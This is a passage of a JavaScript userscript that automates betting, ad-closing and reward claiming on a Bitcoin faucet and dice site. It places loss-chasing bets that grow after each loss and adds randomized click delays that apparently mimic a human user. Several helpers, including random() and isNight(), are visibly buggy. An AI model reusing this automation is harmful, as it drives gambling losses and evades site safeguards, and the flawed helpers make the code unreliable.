  1131. game2_step=3;
  1132. return MIN_BET;
  1133. } else {
  1134. //finished loosing, first win, next step -> else
  1135. game2_step=4;
  1136. game2_finished_loosing=true;
  1137. game2_play_after_losses++;
  1138. return get_bet_amount(MIN_BET,consecutive_lost,consecutive_win);
  1139. }
  1140. } else {
  1141. if (!Boolean(game_play_began)){
  1142. if (game2_play_after_losses < WAIT_PLAY_AFTER_LOSSES) {
  1143. game2_step=5;
  1144. game2_play_after_losses++;
  1145. return MIN_BET;
  1146. } else if (game2_play_after_losses >= WAIT_PLAY_AFTER_LOSSES){
  1147. // Begin to play, next step -> else
  1148. game2_step=6;
  1149. game_play_began=true;
  1150. tot_multiply_play++;
  1151. game_play_count++;
  1152. setCookie('tot_multiply_play', tot_multiply_play, 7);
  1153. return BAS_BET;
  1154. } else return "-008";
  1155. } else {
  1156. if (consecutive_lost > 0) {
  1157. game2_step=7;
  1158. return past_bet+(past_bet*INCR/100);
  1159. } else {
  1160. // Playing and won, go back to the begin
  1161. game_play_began=false;
  1162. game2_step=0;
  1163. game2_consecutive_lost_passed=false;
  1164. game2_finished_loosing=false;
  1165. game2_play_after_losses=0;
  1166. if (STRATEGY == 3) {
  1167. MIN_LOSSES_BEFORE_PLAY++;
  1168. if (LOGGING > 2) console.log("New MIN_LOSSES_BEFORE_PLAY value is: "+MIN_LOSSES_BEFORE_PLAY);
  1169. }
  1170. return MIN_BET;
  1171. }
  1172. }
  1173. }
  1174. }
  1175. } else return "-010";
  1176. }
  1177. function get_bet_odds () {
  1178. if (STRATEGY == 0) { return 2; }
  1179. else return ODDS;
  1180. }
  1181. function get_bet_hilo (index) {
  1182. if (HIGH_LOW == 3 ) {
  1183. var olaer = ['H','L','L','H','H','H','L','L','L','L','H','H','H','H','H','L','L','L','L','L','L','H','H','H','H','H','H','H','L','L','L','L','L','L','L','L'];
  1184. var key = index % olaer.length;
  1185. return olaer[key];
  1186. } else if (HIGH_LOW == 1) {
  1187. return "H";
  1188. } else if (HIGH_LOW == 2) {
  1189. return "L";
  1190. } else {
  1191. var r = random(1,10);
  1192. if (r<5) return 'H';
  1193. else return 'L';
  1194. }
  1195. }
  1196. function bet(amount, hl, odds, fast) {
  1197. var toclick; var wait_time_1=0; var wait_time_2=0;
  1198. if (hl == "L") toclick = "#double_your_btc_bet_lo_button";
  1199. else toclick = "#double_your_btc_bet_hi_button";
  1200. //if (LOGGING > 4) console.log(">> playing: "+hl+", betting: "+amount.toFixed(8) );
  1201. tot_multiply_bets++;
  1202. setCookie('tot_multiply_bets', tot_multiply_bets, 7);
  1203. if (SPEED == 0) {
  1204. wait_time_1 = random(2000,10000); wait_time_2=random(1000,5000);
  1205. } else if (SPEED == 1) {
  1206. if (Boolean(fast)) { wait_time_1 = random(300,900); wait_time_2=random(100,200); }
  1207. else { wait_time_1 = random(1133,5544); wait_time_2=random(100,1000); }
  1208. } else if (SPEED == 2) {
  1209. wait_time_1 = random(300,1000); wait_time_2=random(100,200);
  1210. } else {
  1211. wait_time_1 = random(10,20); wait_time_2=0;
  1212. }
  1213. setTimeout (function(){
  1214. $("#double_your_btc_stake").val(parseFloat(amount).toFixed(8));
  1215. $("#double_your_btc_payout_multiplier").val(odds);
  1216. setTimeout(function(){ $(toclick).click(); }, wait_time_1 );
  1217. }, wait_time_2 );
  1218. }
  1219. function multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message) {
  1220. // Finished playing multiply
  1221. // Deactivate DOM Monitors
  1222. observer.disconnect();
  1223. if ( $('#multiply_full_container').length) {
  1224. $('#multiply_message').html(multiply_message);
  1225. }
  1226. multiply_hist_arr.push(tot_multiply_balance);
  1227. setCookie('multiply_hist_arr',JSON.stringify(multiply_hist_arr),14);
  1228. console.log("%cMultiply hist array: "+multiply_hist_arr, 'color:grey');
  1229. if (LOGGING > 2) {
  1230. if (bet_amount > MAX_BET) {
  1231. console.log("%c Max Bet limit passed. Max Bet: "+MAX_BET+", Next Bet: "+bet_amount, 'color: red');
  1232. } else if (bet_count >= MAX_ROLLS_AT_MULTIPLY ) {
  1233. console.log("%c Max Rolls limit passed. Max Rolls: "+MAX_ROLLS_AT_MULTIPLY+", Tot Rolls: "+bet_count+" with "+consecutive_lost+" cons losts", 'color: red');
  1234. } else if (game_play_count >= MAX_PLAY) {
  1235. console.log("%c Max Plays limit passed. Max Plays: "+MAX_PLAY+", Tot Plays: "+game_play_count, 'color: red');
  1236. }
  1237. }
  1238. if (LOGGING > 4) console.log("%c Disabling Monitors, finished multiply", css_bold+'color:green');
  1239. if (LOGGING > 4) console.log("%c Tot Balance: "+tot_multiply_balance+", Tot games: "+tot_multiply_games+", Tot bets: "+tot_multiply_bets, css_bold+'color: green');
  1240. if (LOGGING > 4) console.log("%c Session Balance: "+curr_multiply_balance+", Session tot bets: "+bet_count, css_bold+'color:green');
  1241. $('#script_output_multiply_status').html('<span class="bold">Multiply: <span class="true">Done!</span></span>');
  1242. isMultiplyRunning=false;
  1243. setTimeout(function(){
  1244. isMultiplyRunning = false;
  1245. $('.free_play_link').not('.hide_menu').click();
  1246. }, random(3000,30000));
  1247. }
  1248. function missingTime () {
  1249. var min = 0; var sec = 0; var str = "";
  1250. str = $('title').text().split(" ")[0];
  1251. //if (LOGGING > 4) console.log("%c[missingTime] [Debug] string: "+str, 'color: grey');
  1252. if (str.length <= 7 && str.length >= 3) {
  1253. min = str.split(':')[0]; if (min.length > 0) min = min.replace('m','');
  1254. sec = str.split(':')[1]; if (sec.length > 0) sec = sec.replace('s','');
  1255. } else if ( $('#free_play_form_button').is(':visible') ) {
  1256. min = 0; sec = 0;
  1257. } else { min = -1; sec = -1; }
  1258. return [min,sec];
  1259. }
  1260. function isNight(){
  1261. var d = new Date();
  1262. var h = d.getHours();
  1263. if ( stopNight > startNight && h >= startNight && h <= stopNight) {
  1264. // console.log(h+" -- "+stopNight)
  1265. return true;
  1266. } else if (stopNight < startNight && h >= startNight || h <= stopNight ) {
  1267. return true;
  1268. }
  1269. else return false;
  1270. }
  1271. function random(min,max){
  1272. return min + (max - min) * (Math.random() * maxWait ) + 1000;
  1273. }
  1274. function closePopupInterval (target) {
  1275. //if (LOGGING > 4) console.log("%c[Debug] Function closePopupInterval begin", 'color:grey');
  1276. if (target.is(':visible')) {
  1277. setTimeout(function(){
  1278. if (LOGGING > 3) console.log("%cClose ADS", 'color: grey');
  1279. target.click();
  1280. ads_closed ++;
  1281. $('#script_output_title_ads_closed_num').text(ads_closed);
  1282. }, random (500,120000));
  1283. } else {
  1284. //if (LOGGING > 4) console.log("%cNot visible: "+target.attr('id')+" "+target.attr('class'), 'color: grey');
  1285. }
  1286. }
  1287. function closeRandomPopupInterval (target, randomness) {
  1288. //if (LOGGING > 4) console.log("%c[Debug] Function closeRandomPopupInterval begin", 'color:grey');
  1289. var rand = random(1,100);
  1290. if (rand < randomness && target.is(':visible')) {
  1291. setTimeout(function(){
  1292. if (LOGGING > 3) console.log("%cClose Random ADS", 'color: grey');
  1293. target.click();
  1294. ads_closed ++;
  1295. $('#script_output_title_ads_closed_num').text(ads_closed);
  1296. }, random (500,120000));
  1297. } else {
  1298. //if (LOGGING > 4) console.log("%cNot visible: "+target.attr('id')+" "+target.attr('class'), 'color: grey');
  1299. }
  1300. }
  1301. function getCookie(cname) {
  1302. var name = cname + "=";
  1303. var decodedCookie = decodeURIComponent(document.cookie);
  1304. var ca = decodedCookie.split(';');
  1305. for(var i = 0; i <ca.length; i++) {
  1306. var c = ca[i];
  1307. while (c.charAt(0) == ' ') {
  1308. c = c.substring(1);
  1309. }
  1310. if (c.indexOf(name) == 0) {
  1311. return c.substring(name.length, c.length);
  1312. }
  1313. }
  1314. return "";
  1315. }
  1316. function setCookie(cname, cvalue, exdays) {
  1317. var d = new Date();
  1318. d.setTime(d.getTime() + (exdays*24*60*60*1000));
  1319. var expires = "expires="+ d.toUTCString();
  1320. document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
  1321. }
  1322. function reset_all_stats(){
  1323. if (LOGGING > 2) console.log("%c Resettnig all stats deleting all cookies", 'color:red');
  1324. setCookie("last_bonus",0,365); setCookie("last_multiply",0,30); setCookie("rp_hist_arr","[]",31); setCookie("tot_multiply_balance",0,7); setCookie("tot_multiply_games",0,30);
  1325. setCookie("tot_rp_spent_captcha",0,7); setCookie("tot_rp_spent_rewards",0,7); setCookie('curr_multiply_balance',0,7); setCookie('curr_multiply_wagered',0,30);
  1326. setCookie('executions',0,7); setCookie('last_multiply_session_hist',0,7); setCookie('max_bet_session',0,7); setCookie('max_consecutive_losts',0,365);
  1327. setCookie('max_consecutive_losts_inplay',0,7); setCookie('max_consecutive_losts_inplay_session',0,7); setCookie('max_consecutive_losts_session',0,7);
  1328. setCookie('multiply_error',0,31); setCookie('multiply_hist_arr',"[]",14); setCookie('tot_btc_winning_rolling',0,7); setCookie('tot_lottery_tickets',0,7);
  1329. setCookie('tot_lottery_winning_rolling',0,7); setCookie('tot_multiply_balance',0,7); setCookie('tot_multiply_bets',0,7); setCookie('tot_multiply_play',0,7);
  1330. setCookie('tot_multiply_wagered',0,365); setCookie('tot_rp_winning_rolling',0,7);
  1331. location.reload();
  1332. }
  1333. function showStatus(){
  1334. if (LOGGING > 4) console.log("%c[Debug] Function showStatus begin", 'color:grey');
  1335. var t=missingTime();
  1336. var date = new Date();
  1337. var script_output_msg_1 = "";
  1338. var script_output_msg_2 = "";
  1339. var [{ value: month },,{ value: day },,{ value: year },,{ value: hour },,{ value: minute }] = dateTimeFormat.formatToParts(date);
  1340. var ca='red'; var cb='red'; var cc='red'; var css='font-weight: bold; color:';
  1341. var c1='purple'; var c2='olive';
  1342. var c3='brown'; var c4='teal';
  1343. if (LOGGING > 0) console.log(">>>>>>>>>>%c Status:%c ["+hour+":"+minute+"]", css_bold+'color:'+c1, css_bold);
  1344. //Rewards and multiply infos and colors
  1345. if (Boolean(REWARDS)) ca = 'green'; if (Boolean(MULTIPLY)) cb='green'; if (Boolean(LOTTERY)) cc='green';
  1346. var cssa='font-weight: bold; color:'+ca;
  1347. var cssb='font-weight: bold; color:'+cb;
  1348. var cssc='font-weight: bold; color:'+cc;
  1349. if (LOGGING > 0) console.log(">>>>>>>>>> Buying Rewards: "+"%c"+Boolean(REWARDS)+""+"%c; Playing Multiply: "+"%c"+Boolean(MULTIPLY)+""+"%c; Buying Lottery: "+"%c"+Boolean(LOTTERY), cssa, css_reset,cssb, css_reset, cssc);
  1350. if (t[0] > 0 || t[1] > 0) {
  1351. if (LOGGING > 0) console.log(">>>>>>>>>> Missing "+"%c"+t[0]+" min "+t[1]+" sec"+"%c for next roll",css_bold+"color:"+c1,css_reset);
  1352. }
  1353. if (LOGGING > 0) console.log(">>>>>>>>>> BTC won with script: "+"%c"+tot_btc_winning_rolling, css_bold+'color:'+c4);
  1354. if (LOGGING > 0) console.log(">>>>>>>>>> Tickets won with script: "+"%c"+tot_lottery_winning_rolling, css_bold+'color:'+c4);
  1355. if (LOGGING > 0) console.log(">>>>>>>>>> RP won with script: "+"%c"+tot_rp_winning_rolling, css_bold+'color:'+c4);
  1356. if (LOGGING > 0) console.log(">>>>>>>>>> RP Spent with rewards: "+"%c"+tot_rp_spent_rewards, css_bold+'color:'+c1);
  1357. if (LOGGING > 0) console.log(">>>>>>>>>> RP Spent with captcha: "+"%c"+tot_rp_spent_captcha, css_bold+'color:'+c1);
  1358. if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Balance: "+"%c"+tot_multiply_balance, css_bold+'color:'+c3);
  1359. if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Games played: "+"%c"+tot_multiply_games, css_bold+'color:'+c3);
  1360. if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Wagered: "+"%c"+tot_multiply_wagered, css_bold+'color:'+c3);
  1361. // Update Status Message OnPage
  1362. script_output_msg_1 = "<span class='bold'>Config: </span>";
  1363. script_output_msg_1 += "<span class='"+Boolean(REWARDS)+"'>REWARDS </span> <> ";
  1364. script_output_msg_1 += "<span class='"+Boolean(BONUS1000)+"'>BONUS1000</span> <> ";
  1365. script_output_msg_1 += "<span class='"+Boolean(MULTIPLY)+"'>MULTIPLY</span> <> ";
  1366. script_output_msg_1 += "<span class='"+Boolean(LOTTERY)+"'>LOTTERY</span>";
  1367. $('#script_output_msg_1').html(script_output_msg_1);
  1368. script_output_msg_2 = "<span class='bold'> Script Winnings: </span> ";
  1369. script_output_msg_2 += "<span class='true'>"+tot_btc_winning_rolling+"</span> btc; ";
  1370. script_output_msg_2 += "<span class='true'>"+tot_lottery_winning_rolling+"</span> tickets; ";
  1371. script_output_msg_2 += "<span class='true'>"+tot_rp_winning_rolling+"</span> RP.";
  1372. script_output_msg_2 += "</br>";
  1373. script_output_msg_2 += "<span class='bold'> Script Spent: </span>";
  1374. script_output_msg_2 += "<span class='true'>"+tot_lottery_tickets+"</span> in lottery tickets; ";
  1375. script_output_msg_2 += "<span class='true'>"+tot_rp_spent_rewards+"</span> RP in bonus; ";
  1376. script_output_msg_2 += "<span class='true'>"+tot_rp_spent_captcha+"</span> RP in captcha. ";
  1377. script_output_msg_2 += "</br>";
  1378. script_output_msg_2 += "<span class='bold'> Script Multiply Balance: </span>";
  1379. script_output_msg_2 += "<span class='true'>"+tot_multiply_balance+"</span> btc in ";
  1380. script_output_msg_2 += "<span class='true'>"+tot_multiply_games+"</span> games and ";
  1381. script_output_msg_2 += "<span class='true'>"+tot_multiply_bets+"</span> bets";
  1382. $('#script_output_msg_2').html(script_output_msg_2);
  1383. }
  1384. function setBtcPrice(){
  1385. //if (LOGGING > 4) console.log("%c[Debug] Function setBtcPrice begin", 'color:grey');
  1386. var btc_price=$('#btc_usd_price').html().split('.')[0].replace('$','').replace(',','');
  1387. var i=1;
  1388. var to=2000;
  1389. if (i>=10) return false;
  1390. else if (isNaN(btc_price)) {
  1391. if (LOGGING > 4) console.log("%c[setBtcPrice] Price NA, try again in "+to*i/1000+" s", 'color:grey');
  1392. setTimeout(function(){ setBtcPrice(); }, to*i );
  1393. i++;
  1394. return true;
  1395. } else {
  1396. $('#usdxbtc').html(btc_price);
  1397. var usd_price=parseFloat(100000000/btc_price).toFixed(0);
  1398. $('#satxusd').html(usd_price);
  1399. }
  1400. }

comments powered by Disqus